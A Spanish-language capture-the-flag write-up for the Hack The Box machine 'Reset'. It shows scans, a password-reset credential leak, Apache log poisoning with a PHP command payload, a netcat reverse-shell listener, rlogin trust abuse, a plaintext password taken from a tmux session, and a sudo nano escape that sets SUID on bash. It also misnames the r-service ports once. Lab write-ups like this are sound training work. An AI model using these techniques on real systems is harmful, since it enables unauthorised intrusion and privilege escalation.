Reset - HTB
Enumeration
Vamos a empezar con un escaneo nmap:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
[May 03, 2026 - 17:34:21 (CEST)] exegol-htb Reset # nmap -p- --open -sS -n -Pn -vvv 10.129.31.34
Starting Nmap 7.93 ( https://nmap.org ) at 2026-05-03 17:34 CEST
Initiating SYN Stealth Scan at 17:34
Scanning 10.129.31.34 [65535 ports]
Discovered open port 22/tcp on 10.129.31.34
Discovered open port 80/tcp on 10.129.31.34
Discovered open port 512/tcp on 10.129.31.34
Discovered open port 514/tcp on 10.129.31.34
Discovered open port 513/tcp on 10.129.31.34
Completed SYN Stealth Scan at 17:34, 18.58s elapsed (65535 total ports)
Nmap scan report for 10.129.31.34
Host is up, received user-set (0.044s latency).
Scanned at 2026-05-03 17:34:21 CEST for 19s
Not shown: 65520 closed tcp ports (reset), 10 filtered tcp ports (no-response)
Some closed ports may be reported as filtered due to --defeat-rst-ratelimit
PORT STATE SERVICE REASON
22/tcp open ssh syn-ack ttl 63
80/tcp open http syn-ack ttl 63
512/tcp open exec syn-ack ttl 63
513/tcp open login syn-ack ttl 63
514/tcp open shell syn-ack ttl 63
Read data files from: /usr/bin/../share/nmap
Nmap done: 1 IP address (1 host up) scanned in 18.62 seconds
Raw packets sent: 66913 (2.944MB) | Rcvd: 65611 (2.624MB)
Vamos a hacer un segundo escaneo para obtener las versiones de los servicios y lanzar scripts básicos de reconocimiento:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
[May 03, 2026 - 17:35:39 (CEST)] exegol-htb Reset # nmap -p22,80,512,513,514 -sCV 10.129.31.34
Starting Nmap 7.93 ( https://nmap.org ) at 2026-05-03 17:35 CEST
Nmap scan report for 10.129.31.34
Host is up (0.044s latency).
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.9p1 Ubuntu 3ubuntu0.13 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 256 6a161fc8fefde398a685cffe7b0e60aa (ECDSA)
|_ 256 e408cc5f8e56258f38c3ecdfb8860c69 (ED25519)
80/tcp open http Apache httpd 2.4.52 ((Ubuntu))
|_http-server-header: Apache/2.4.52 (Ubuntu)
| http-cookie-flags:
| /:
| PHPSESSID:
|_ httponly flag not set
|_http-title: Admin Login
512/tcp open exec netkit-rsh rexecd
513/tcp open login?
514/tcp open shell Netkit rshd
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 40.67 seconds
Website - TCP 80
Vemos un login de un panel de administración. Vamos a probar credenciales predeterminadas como:
admin:adminadministrator:admin123root:root
Ninguna funciona. Vamos a ver la función de Forgot Password?:
Vamos a probar cualquier usuario al azar:
Vemos que devuelve User not found. Aquí tenemos una posibilidad de User Enumeration. Si vemos en el HTTP History vemos que se procesa de la siguiente manera:
Vamos a enviar esta solicitud al Repeater:
Vamos a probar a poner el usuario admin:
Tremendo fallo… un fallo de autenticación y un information disclosure. La aplicación no quiere verificar si realmente el que se está indicando dice quien dice ser. Vamos a probar estas credenciales:
Shell as www-data
Vemos que podemos ver los logs, si le damos a View Logs veremos los siguiente:
Vemos que no muestra contenido. Si vemos como se tramita por atrás vemos lo siguiente:
Vemos que se indica la ruta absoluta del archivo syslog, vamos a intentar un LFI:
Vemos que hay algún filtro. Podemos probar añadiendo la ruta /var/log/ e intentar un Path Traversal:
1
/var/log/../../etc/passwd
No vemos que se pueda.
Log Poisoning
El servicio que emplea para http usa Apache2, vamos a intentar leer el access.log:
1
/var/log/apache2/access.log
En este caso access.log almacena el User-Agent de los usuarios, en este caso la aplicación interpreta PHP, así que vamos a probar lo siguiente:
1
<?php system('id'); ?>
Ahora vamos a enviarnos una reverse shell:
1
2
3
4
[May 03, 2026 - 18:03:54 (CEST)] exegol-htb Reset # nc -nlvp 9002
Ncat: Version 7.93 ( https://nmap.org/ncat )
Ncat: Listening on :::9002
Ncat: Listening on 0.0.0.0:9002
1
2
3
4
5
6
7
8
9
[May 03, 2026 - 18:03:54 (CEST)] exegol-htb Reset # nc -nlvp 9002
Ncat: Version 7.93 ( https://nmap.org/ncat )
Ncat: Listening on :::9002
Ncat: Listening on 0.0.0.0:9002
Ncat: Connection from 10.129.31.34.
Ncat: Connection from 10.129.31.34:38534.
bash: cannot set terminal process group (1211): Inappropriate ioctl for device
bash: no job control in this shell
www-data@reset:/var/www/html$
Shell as sadm
Si leemos el /etc/passwd podremos ver los siguientes usuarios:
1
2
3
4
5
6
www-data@reset:/var/www/html$ cat /etc/passwd | grep sh
root:x:0:0:root:/root:/bin/bash
sshd:x:106:65534::/run/sshd:/usr/sbin/nologin
fwupd-refresh:x:112:118:fwupd-refresh user,,,:/run/systemd:/usr/sbin/nologin
local:x:1000:1000:local:/home/local:/bin/bash
sadm:x:1001:1001:,,,:/home/sadm:/bin/bash
Vemos los usuarios local y sadm. Si recordamos antes vimos que estaban abiertos los puertos 412,413,414.
Estos puertos son de un conjunto de herramientas de red que nos ayuda a:
- ejecutar comandos
- iniciar sesión
- copiar archivos
En máquinas remotas sin necesidad de credenciales.
Esto es interesante ya que si averiguamos que usuario puede iniciar con este servicio podríamos acceder a el sin contraseña.
/home/
1
2
3
4
5
6
www-data@reset:/home$ ls -la
total 16
drwxr-xr-x 4 root root 4096 Jun 2 2025 .
drwxr-xr-x 19 root root 4096 Jun 4 2025 ..
drwxr-x--- 5 local local 4096 Jun 2 2025 local
drwxr-xr-x 4 sadm sadm 4096 Jun 4 2025 sadm
/home/sadm/
Vemos que solo podemos acceder al directorio de sadm, vamos a acceder y ver que archivos tiene:
1
2
3
4
5
6
7
8
9
10
11
12
www-data@reset:/home/sadm$ ls -la
total 36
drwxr-xr-x 4 sadm sadm 4096 Jun 4 2025 .
drwxr-xr-x 4 root root 4096 Jun 2 2025 ..
lrwxrwxrwx 1 sadm sadm 9 Dec 6 2024 .bash_history -> /dev/null
-rw-r--r-- 1 sadm sadm 220 Dec 6 2024 .bash_logout
-rw-r--r-- 1 sadm sadm 3771 Dec 6 2024 .bashrc
drwx------ 2 sadm sadm 4096 Jun 2 2025 .cache
drwxrwxr-x 3 sadm sadm 4096 Jun 2 2025 .local
-rw-r--r-- 1 sadm sadm 807 Dec 6 2024 .profile
-rw------- 1 sadm sadm 7 Dec 6 2024 .rhosts
-rw-r--r-- 1 root root 33 Apr 10 2025 user.txt
Vemos el archivo .rhosts donde contiene que usuario puede autenticarse sin necesidad de contraseña. Pero no tenemos los permisos necesarios.
Algo que podríamos intentar leer es el archivo hosts.equiv que sirve para autorizar quien puede iniciar sesión con el nombre de usuario:
1
2
3
4
5
6
www-data@reset:/home/sadm$ cat /etc/hosts.equiv
# /etc/hosts.equiv: list of hosts and users that are granted "trusted" r
# command access to your system .
- root
- local
+ sadm
En este caso vemos que el único usuario que puede iniciar sesión es sadm. En este caso como el servicio esta expuesto a nivel de red, nosotros en nuestra máquina podemos crear un usuario llamado sadm y conectarnos. Ya que solo verificará el usuario si es el correcto. Así que vamos a probarlo:
Vamos a crear el usuario:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
[May 03, 2026 - 18:29:20 (CEST)] exegol-random /workspace # adduser sadm
Adding user `sadm' ...
Adding new group `sadm' (1002) ...
Adding new user `sadm' (1002) with group `sadm (1002)' ...
adduser: The home directory `/home/sadm' already exists. Not touching this directory.
New password:
Retype new password:
passwd: password updated successfully
Changing the user information for sadm
Enter the new value, or press ENTER for the default
Full Name []:
Room Number []:
Work Phone []:
Home Phone []:
Other []:
Is the information correct? [Y/n]
Adding new user `sadm' to supplemental / extra groups `users' ...
Adding user `sadm' to group `users' ...
Ahora iniciaremos como el e intentaremos conectarnos con rslogin:
Si no tenéis el paquete podéis obtenerlo de la siguiente manera:
apt install rsh-redone-client
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
sadm@exegol-random:~$ rlogin 10.129.31.34
Welcome to Ubuntu 22.04.5 LTS (GNU/Linux 5.15.0-140-generic x86_64)
* Documentation: https://help.ubuntu.com
* Management: https://landscape.canonical.com
* Support: https://ubuntu.com/pro
System information as of Sun May 3 04:30:18 PM UTC 2026
System load: 0.03
Usage of /: 65.1% of 5.22GB
Memory usage: 13%
Swap usage: 0%
Processes: 231
Users logged in: 1
IPv4 address for eth0: 10.129.31.34
IPv6 address for eth0: dead:beef::a0de:adff:feeb:1040
Expanded Security Maintenance for Applications is not enabled.
0 updates can be applied immediately.
Enable ESM Apps to receive additional future security updates.
See https://ubuntu.com/esm or run: sudo pro status
The list of available updates is more than a week old.
To check for new updates run: sudo apt update
Last login: Wed Jul 9 13:32:23 UTC 2025 from 10.10.14.77 on pts/0
sadm@reset:~$
Shell as root
sadm credential leak in tmux session
Si vemos los procesos que corren del usuario sadm podremos ver el siguiente:
1
2
3
4
5
6
7
8
sadm@reset:~$ ps x -U sadm
PID TTY STAT TIME COMMAND
1227 ? Ss 0:00 tmux new-session -d -s sadm_session
1233 pts/3 Ss+ 0:00 -bash
2241 ? Ss 0:00 /lib/systemd/systemd --user
2242 ? S 0:00 (sd-pam)
2249 pts/1 S 0:00 -bash
2299 pts/1 R+ 0:00 ps x -U sadm
Vemos que tiene una sesión de tmux creada. Vamos acceder a ella y ver sus ventanas:
Obtenemos las credenciales del usuario. Podemos comprobarlas:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
[May 03, 2026 - 18:34:56 (CEST)] exegol-random /workspace # sshpass -p "7lE2PAfVHfjz4HpE" ssh sadm@10.129.31.34
Welcome to Ubuntu 22.04.5 LTS (GNU/Linux 5.15.0-140-generic x86_64)
* Documentation: https://help.ubuntu.com
* Management: https://landscape.canonical.com
* Support: https://ubuntu.com/pro
System information as of Sun May 3 04:34:57 PM UTC 2026
System load: 0.08
Usage of /: 65.1% of 5.22GB
Memory usage: 14%
Swap usage: 0%
Processes: 235
Users logged in: 1
IPv4 address for eth0: 10.129.31.34
IPv6 address for eth0: dead:beef::a0de:adff:feeb:1040
Expanded Security Maintenance for Applications is not enabled.
0 updates can be applied immediately.
Enable ESM Apps to receive additional future security updates.
See https://ubuntu.com/esm or run: sudo pro status
The list of available updates is more than a week old.
To check for new updates run: sudo apt update
Failed to connect to https://changelogs.ubuntu.com/meta-release-lts. Check your Internet connection or proxy settings
Last login: Sun May 3 16:30:19 2026 from 10.10.15.56
sadm@reset:~$
Si enumeramos los permisos SUDOER del usuario sadm podremos ver lo siguiente:
Abusing SUDO
1
2
3
4
5
6
7
8
sadm@reset:~$ sudo -l
Matching Defaults entries for sadm on reset:
env_reset, timestamp_timeout=-1, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin, use_pty, !syslog
User sadm may run the following commands on reset:
(ALL) PASSWD: /usr/bin/nano /etc/firewall.sh
(ALL) PASSWD: /usr/bin/tail /var/log/syslog
(ALL) PASSWD: /usr/bin/tail /var/log/auth.log
Vemos que podemos usar nano apuntando al archivo firewall.sh, esto es sencillo ya que ejecutamos nano como root y con la combinación CTRL+T podremos ejecutar un comando:
En mi caso la daré SUID a la bash:
Ahora si vemos los permisos de /bin/bash:
1
2
3
4
5
sadm@reset:~$ ls -la /bin/bash
-rwsr-xr-x 1 root root 1396520 Mar 14 2024 /bin/bash
sadm@reset:~$ bash -p
bash-5.1# whoami
root

















